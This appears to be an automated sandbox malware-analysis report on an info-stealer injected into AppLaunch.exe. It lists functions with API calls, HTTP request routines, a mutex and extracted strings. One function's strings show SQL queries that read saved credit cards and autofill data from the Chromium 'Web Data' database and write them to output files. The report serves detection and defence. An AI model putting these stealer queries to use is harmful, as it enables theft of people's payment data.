Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 32cb0bc51432783c550c8160cf46f2ac908caa2c1c29de4f72e2c4e8bb44e370
Instruction ID: 7e54cbf013ea9448ca91dde0daf442a43195e98a064aced10cc9ef8cd3b7b022
Opcode Fuzzy Hash: 32cb0bc51432783c550c8160cf46f2ac908caa2c1c29de4f72e2c4e8bb44e370
Instruction Fuzzy Hash: 3F112371810218FBDF21DFA5DC189DF7F79EF45760F104258F828A62A0D7719A91DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D27D Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00A1D297
GetLastError.KERNEL32 ref: 00A1D2A3
___initconout.LIBCMT ref: 00A1D2B3

Part of subcall function 00A1D331: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00A1D2B8), ref: 00A1D344

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00A1D2C7

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 66df58c4d57cf92a8e8c4786a950fc89a1b56c9be1d7ed46e27eab858a8f4ea4
Instruction ID: 6f6f7e6028f8ffaa2d7ba0806e9c5050cd1f8a5cc9548516b0bb779ca3a98888
Opcode Fuzzy Hash: 66df58c4d57cf92a8e8c4786a950fc89a1b56c9be1d7ed46e27eab858a8f4ea4
Instruction Fuzzy Hash: 47F0FE36110601ABCB226BD6DC08E877FB6EBC97A17114419F569C2530CB729895DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A1D399 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00A1D3B0
GetLastError.KERNEL32 ref: 00A1D3BC
___initconout.LIBCMT ref: 00A1D3CC

Part of subcall function 00A1D331: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00A1D2B8), ref: 00A1D344

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00A1D3E1

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 878b0d13c8e250360d4d7cdd762178094d168908b88e8d5bb7f4f70ab0946ca9
Instruction ID: af85092934ac6031eec576a22cda8437e7698b9e8d869f3ca2677cdeb10a316c
Opcode Fuzzy Hash: 878b0d13c8e250360d4d7cdd762178094d168908b88e8d5bb7f4f70ab0946ca9
Instruction Fuzzy Hash: 13F0C036511215FBCF226FD5DC08ADA3F36FB483A1B054554FA2CD6170C77289A1DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A0254E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

InitializeCriticalSectionEx, xrefs: 00A025AE
GetXStateFeaturesMask, xrefs: 00A0255E

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: e2c6cdb06a9db6db04c85a28a0e01a1eacb5a736d3bced7b49014e3341d8c65e
Instruction ID: 474882901efa4212d8131714153ea475662177678c406a7b4b963f50696ee598
Opcode Fuzzy Hash: e2c6cdb06a9db6db04c85a28a0e01a1eacb5a736d3bced7b49014e3341d8c65e
Instruction Fuzzy Hash: 8B01F23268022CB7CB212B95EC0EF9E7F15EB50BB2F014421FD1A251A2CAB1592287D0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppLaunch.exePID: 6764, Parent PID: 6648COMMON

Executed Functions

Function 00416879 Relevance: 90.0, APIs: 11, Strings: 40, Instructions: 793
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(?,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004169BF
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,04400000,00000000,?,?,?,?,?,?), ref: 00416B42
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,84480100,00000000,?,?,?,?,?,?), ref: 00416BB6
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 00416D0A
GetLastError.KERNEL32 ref: 00416EA7

Part of subcall function 004126B0: EnterCriticalSection.KERNEL32(00429A7C,?,?,?,?,?,?,?,?,0000000C), ref: 00412C82
Part of subcall function 004126B0: GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,0000000C), ref: 00412E34

Part of subcall function 004126B0: LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,?,0000000C), ref: 00412E87
Part of subcall function 004126B0: LeaveCriticalSection.KERNEL32(00429A7C,?,?,?,?,?,?,?,?,0000000C), ref: 00412F74

InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041703C
InternetCloseHandle.WININET(00000000), ref: 004170FF
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 0041721F
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 00417382
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 004174A9
GetLastError.KERNEL32 ref: 0041761F

Strings

mmi\, xrefs: 00417528
b.C<, xrefs: 00416909
^kUa, xrefs: 00417520
pmp8, xrefs: 00416E4B
x, xrefs: 0041716E
m'\i, xrefs: 00417538
zzo=, xrefs: 00416899
hewp, xrefs: 00417450
i, xrefs: 00417540
vjap, xrefs: 00417428
|t}^, xrefs: 0041691F
^i}y, xrefs: 00417176
!|, xrefs: 00417468
?I.W, xrefs: 00416914
?7, xrefs: 00416935
.[aW, xrefs: 004168D2
Mjpa, xrefs: 00417420
Oscp, xrefs: 00416E1B
':FJ, xrefs: 004173F0
oQvh, xrefs: 00417438
B<>., xrefs: 004168A6
Frrn, xrefs: 00416E13
<, xrefs: 004169E7
kv>$, xrefs: 00417460
gjq9, xrefs: 00416E33
''Ul, xrefs: 00417545
Gveg, xrefs: 00417430
hw?$, xrefs: 00417448
wGld, xrefs: 00416E23
>I.e, xrefs: 004168E8
eb^g, xrefs: 00417530
S.E<, xrefs: 004168DD
:H, xrefs: 004173F8
m^Ze, xrefs: 00417518
pzsI, xrefs: 004168C7
$avv, xrefs: 00417458
$bem, xrefs: 00417440
6q}{, xrefs: 004168B1
I, xrefs: 004173FF
w|r}, xrefs: 004168F3

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ErrorLast$Internet$CriticalHandleHttpOpenRequestSection$CloseConnectEnterFileLeaveLibraryLoadModuleReadSend
String ID: !|$$avv$$bem$''Ul$':FJ$.[aW$6q}{$:H$<$>I.e$?7$?I.W$B<>.$Frrn$Gveg$I$Mjpa$Oscp$S.E<$^i}y$^kUa$b.C<$eb^g$gjq9$hewp$hw?$$i$kv>$$m'\i$m^Ze$mmi\$oQvh$pmp8$pzsI$vjap$wGld$w|r}$x$zzo=$|t}^
API String ID: 224783700-3016128578
Opcode ID: 7493a10ef389110c5d572ff11ee1b97d0ccdf004c0f030ddbd36dccd08a30a41
Instruction ID: aaf439570e324e6cae0d993d9a11d556002d6f4342dfc7391aff758ce7fcd8c6
Opcode Fuzzy Hash: 7493a10ef389110c5d572ff11ee1b97d0ccdf004c0f030ddbd36dccd08a30a41
Instruction Fuzzy Hash: 1A72C1B120E3809ED324CF6599417AFBFE4ABD5304F54882EE1D58B362DB348586DB1B

Uniqueness

Uniqueness Score: -1.00%

Function 004126B0 Relevance: 30.2, APIs: 4, Strings: 13, Instructions: 479
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00429A7C,?,?,?,?,?,?,?,?,0000000C), ref: 00412C82
GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,0000000C), ref: 00412E34
LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,?,0000000C), ref: 00412E87
LeaveCriticalSection.KERNEL32(00429A7C,?,?,?,?,?,?,?,?,0000000C), ref: 00412F74

Strings

MkZA, xrefs: 004129AA
~Szu, xrefs: 00412A26
:1 z, xrefs: 00412736
dMI^, xrefs: 004129CA
8, xrefs: 00412745
90on, xrefs: 00412700
r800, xrefs: 00412708
08, xrefs: 0041273E
\AGF, xrefs: 004129C2
D{MK, xrefs: 004129BA
\~oV, xrefs: 00412A16
\AKI, xrefs: 004129B2
\~oV, xrefs: 004126DA, 004128AC, 004129FE, 0041287A, 004127E7, 00412849, 004128DF, 0041293C

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterHandleLeaveLibraryLoadModule
String ID: 08$8$90on$:1 z$D{MK$MkZA$\AGF$\AKI$\~oV$\~oV$dMI^$r800$~Szu
API String ID: 1141368108-3008118122
Opcode ID: c4551833d762e9b8d517f8e3384fe84e86f6cfec008a23f4948276a6ae9f51b5
Instruction ID: 66f8e451438054d6811bd931799f50530548aaee7d20a81f39a2f1fd66547162
Opcode Fuzzy Hash: c4551833d762e9b8d517f8e3384fe84e86f6cfec008a23f4948276a6ae9f51b5
Instruction Fuzzy Hash: F222907460E3C08AD325DF25E5502AEBBE1AB99304F94893EE0C98B361E7748546CF5B

Uniqueness

Uniqueness Score: -1.00%

Function 004112EA Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 158
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 004114B9
_strlen.LIBCMT ref: 0041153A
WriteFile.KERNELBASE(?,00000000,?,00000000,00000000,00000000,00000000), ref: 00411548

Strings

/, xrefs: 00411425
-sws, xrefs: 00411371
[326, xrefs: 0041133F
7114, xrefs: 00411359
4usa[326, xrefs: 0041137A
mu31, xrefs: 00411361
74m1, xrefs: 00411369

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: File$CreateWrite_strlen
String ID: -sws$/$4usa[326$7114$74m1$[326$mu31
API String ID: 3238168632-1547297044
Opcode ID: 7722a2a1ac1edaf791d64459842aa9b38ff80f9c55b6f33c7d5f2514aafc8bdf
Instruction ID: 275d5e54e7587dae16900466cc1a9c36765e963b9390574ee31d6379c53c6171
Opcode Fuzzy Hash: 7722a2a1ac1edaf791d64459842aa9b38ff80f9c55b6f33c7d5f2514aafc8bdf
Instruction Fuzzy Hash: AD51B67221A3804EE324FF75AC416AB7BE4EB94704FD4443EE591C72A1DA388147DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0041650D Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 004165AD

Part of subcall function 004204D2: _strlen.LIBCMT ref: 004204EA

Strings

16, xrefs: 0041664E
_ZOZ, xrefs: 0041662E
1, xrefs: 00416655
61xT, xrefs: 004165F6
UO^U, xrefs: 004165FE
HKTH, xrefs: 0041660E
S2T2johILhNxP0GzGJDG, xrefs: 00416546, 00416586
RORT, xrefs: 00416616

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: 1$16$61xT$HKTH$RORT$S2T2johILhNxP0GzGJDG$UO^U$_ZOZ
API String ID: 4218353326-2058424464
Opcode ID: 594f99a075deef9e08a7c8ad83f16642c6dee71d8cb8c04b4e420d7ac48ed9a5
Instruction ID: b07f562258d5839c6eb250450e222c0bffb17d81c9a214f3ebf6950a31e60baf
Opcode Fuzzy Hash: 594f99a075deef9e08a7c8ad83f16642c6dee71d8cb8c04b4e420d7ac48ed9a5
Instruction Fuzzy Hash: CC91C6F060B3809FC7249F69AC512BB7BE4EB56304F44557EE0888B3A2DA398546D71F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF93 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0041E114

Strings

:\, xrefs: 0041E0E4
&, xrefs: 0041DFDB

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: &$:\
API String ID: 2039140958-3693937252
Opcode ID: 420589ad0c8c06e9272ceb42ab4f830373fba797fbad2db6bb8dcac73a92259c
Instruction ID: a8c6bf51c652904e413567fbede4ab4522236a1d087aa0e1b69afe310f8d2ac7
Opcode Fuzzy Hash: 420589ad0c8c06e9272ceb42ab4f830373fba797fbad2db6bb8dcac73a92259c
Instruction Fuzzy Hash: 616109B560A3908ED314CB39A85156FBFE4AB96304F84557FF4C0D72A2DA289507C72A

Uniqueness

Uniqueness Score: -1.00%

Function 00401748 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00001754,004010B8), ref: 0040174D

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c982fe8b479469cfc2aab33042b13f75add8b3c0707c0bb64894c96177c8f007
Instruction ID: c839ce746ad36e3c129b1396b7fe458c11319fb840dcfe467c14651136534d5a
Opcode Fuzzy Hash: c982fe8b479469cfc2aab33042b13f75add8b3c0707c0bb64894c96177c8f007
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00406800 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,004067FA,00000000,?,?,Vi@,97977399,?,00406956), ref: 00406811
TerminateProcess.KERNEL32(00000000,?,004067FA,00000000,?,?,Vi@,97977399,?,00406956), ref: 00406818
ExitProcess.KERNEL32 ref: 0040682A

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cc4cdcfeb3e9cb2ddd9d3a57522ce0388f15f30a0f56ea99fb61376681dea8b7
Instruction ID: a8d2ca13f99770e1480753bdf5a11d2a06d7e27818381fea54811dd5c4063d70
Opcode Fuzzy Hash: cc4cdcfeb3e9cb2ddd9d3a57522ce0388f15f30a0f56ea99fb61376681dea8b7
Instruction Fuzzy Hash: 52D05E32000148BBCF203F61DD0D95D3F2AAF40381B458035F90A59172CB39D8E28A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00411770 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00411147: GetDateFormatW.KERNELBASE(00000409,40000000,?,?,?,00000080), ref: 00411268

OutputDebugStringA.KERNELBASE(?), ref: 004119ED

Strings

Fkxx, xrefs: 00411874

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: DateDebugFormatOutputString
String ID: Fkxx
API String ID: 971543955-1652684492
Opcode ID: 3bd8bfe45c1f34201ef2cbff0151ef70a2a641847233dad6dfb428280e48574e
Instruction ID: 74b2fe028ee2c970677bfd4375abe31700d1aaadf34c1ab29de63d8d03d0bff5
Opcode Fuzzy Hash: 3bd8bfe45c1f34201ef2cbff0151ef70a2a641847233dad6dfb428280e48574e
Instruction Fuzzy Hash: E961F6646012859AEB25FFA4EC416EE3BB5FF24300F80407ED585D72A5EA388646CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00411558 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00411147: GetDateFormatW.KERNELBASE(00000409,40000000,?,?,?,00000080), ref: 00411268

OutputDebugStringA.KERNELBASE(?), ref: 0041174D

Strings

j#<o, xrefs: 0041162A

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: DateDebugFormatOutputString
String ID: j#<o
API String ID: 971543955-3777639924
Opcode ID: 64b635b071994e78713f64abba01fbeb10e7abf87bb221ae565ae7614fcad87a
Instruction ID: 1c0d94ee2048fbf91b2ca57c65c6e23b26140d98e9c2e3a88858ad351ea9ec41
Opcode Fuzzy Hash: 64b635b071994e78713f64abba01fbeb10e7abf87bb221ae565ae7614fcad87a
Instruction Fuzzy Hash: 08510B716052C45EE711EB789C516DE3FE89B56300FC440BFE191DB2D2DE34864ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 00411147 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDateFormatW.KERNELBASE(00000409,40000000,?,?,?,00000080), ref: 00411268

Strings

""MP, xrefs: 00411183

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: DateFormat
String ID: ""MP
API String ID: 2793631785-1040861851
Opcode ID: 1e9ebb47085480081be2c32e8cb98dc59aa840a88f042363a2cf1e789542915b
Instruction ID: 1378d9f180eaa763268e997181a667bf1beb0f825fa9751cef9ca48f22f912a0
Opcode Fuzzy Hash: 1e9ebb47085480081be2c32e8cb98dc59aa840a88f042363a2cf1e789542915b
Instruction Fuzzy Hash: 45411970A1019899DB19DBF4DC406FF77F8EF49304F50907FD146E7291EA788A468B29

Uniqueness

Uniqueness Score: -1.00%

Function 00420335 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 0042037C

Strings

Global\%s%x, xrefs: 0042034D

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CreateMutex
String ID: Global\%s%x
API String ID: 1964310414-2522462875
Opcode ID: efe317e14ab0223b8d2a4740542698d50e0e4977ffc1b684946b9cc88f7ec450
Instruction ID: 7359404da5597133327253f81c6f5aab5abdcd5fe744cbef796662c793da212f
Opcode Fuzzy Hash: efe317e14ab0223b8d2a4740542698d50e0e4977ffc1b684946b9cc88f7ec450
Instruction Fuzzy Hash: 0CF0F67030423023D628F6B85D43BEF20C88B84714F60413ABA56E23C6D8F8CA8144AD

Uniqueness

Uniqueness Score: -1.00%

Function 004075DC Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00409265,0040ABD7,?,00409265,00000220,?,?,0040ABD7), ref: 0040760E

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0538ca1292c282d30d4e73ba538173384aa6fafecbc6710920a3818b5b76401d
Instruction ID: bec7390f1bbf6110da25fa9abbbff9351aee1beab1784e1bf98a4441c9b7e6b0
Opcode Fuzzy Hash: 0538ca1292c282d30d4e73ba538173384aa6fafecbc6710920a3818b5b76401d
Instruction Fuzzy Hash: 78E0A021A0DA2166D6212A6A4C04B9B3648AF513B4F0A4937AD47B62D1DA3EEC1185EF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004190DC Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 481COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004192C7
_strlen.LIBCMT ref: 004193B4
_strlen.LIBCMT ref: 0041984A
_strlen.LIBCMT ref: 004198BA

Strings

,($5, xrefs: 00419471

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ,($5
API String ID: 4218353326-1520827719
Opcode ID: 5ac3ac9faa634020b92c9479e87f20e4373ba753b7ff5ff14dcbbce5cf8b1ca0
Instruction ID: 847ce8e0c59441452322b8220dc9500a463f1b27f0795930f1165bfd2dc27c6e
Opcode Fuzzy Hash: 5ac3ac9faa634020b92c9479e87f20e4373ba753b7ff5ff14dcbbce5cf8b1ca0
Instruction Fuzzy Hash: D2123AB021A3818AD324DF65A8502BE7BE0EB95304F84493FE4D597362DB788587CB5F

Uniqueness

Uniqueness Score: -1.00%

Function 004015B5 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004015C1
IsDebuggerPresent.KERNEL32 ref: 0040168D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004016AD
UnhandledExceptionFilter.KERNEL32(?), ref: 004016B7

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 95bc1e770abf5b36ffea03bcc83871a0ed38d6869d94dfca27586a97429acce9
Instruction ID: 42b348a00b61b0020296a3a21f685e28d5df15e734725894752c400c78c617d4
Opcode Fuzzy Hash: 95bc1e770abf5b36ffea03bcc83871a0ed38d6869d94dfca27586a97429acce9
Instruction Fuzzy Hash: AE312B75D0521CDBDB20DFA5D9897CDBBB8AF18304F1041AAE40DAB2A0EB755A85CF48

Uniqueness

Uniqueness Score: -1.00%

Function 004103A9 Relevance: 40.7, APIs: 10, Strings: 13, Instructions: 402COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041045A
_strlen.LIBCMT ref: 00410499
_strlen.LIBCMT ref: 0041055B
_strlen.LIBCMT ref: 00410597
_strlen.LIBCMT ref: 00410633
_strlen.LIBCMT ref: 00410661
_strlen.LIBCMT ref: 00410709
_strlen.LIBCMT ref: 00410745
_strlen.LIBCMT ref: 00410784

Strings

SELECT expiration_month, expiration_year, name_on_card, card_number_encrypted FROM credit_cards, xrefs: 00410432
Name: , xrefs: 00410703, 00410708
Value: , xrefs: 0041073E, 0041074C
SELECT name, value FROM autofill, xrefs: 004106D4
Expire: , xrefs: 00410555, 0041055A
Find chromium web data db %ls, xrefs: 0041041F
===============, xrefs: 004105CD, 004105D2, 0041077D, 0041078B
Holder: , xrefs: 00410455, 00410461
Key: , xrefs: 0041062E, 0041063A
%ls\Web Data, xrefs: 004103CA
CreditCards/%ls_%ls.txt, xrefs: 00410690
Autofills/%ls_%ls.txt, xrefs: 004107BA
Card: , xrefs: 00410492, 004104A0

Memory Dump Source

Source File: 00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ===============$Card: $Key: $Value: $Expire: $%ls\Web Data$Autofills/%ls_%ls.txt$CreditCards/%ls_%ls.txt$Find chromium web data db %ls$Holder: $Name: $SELECT expiration_month, expiration_year, name_on_card, card_number_encrypted FROM credit_cards$SELECT name, value FROM autofill
API String ID: 4218353326-1847465197
Opcode ID: d1f69fe04c70cb7a0b95ab5c38d7ad6aa2761ebd399cda80db1e2a7908f79562
Instruction ID: d208b39db7997f00ba55f5ca91619af3872fcdbc03b322d1d84b02cd77519e0b
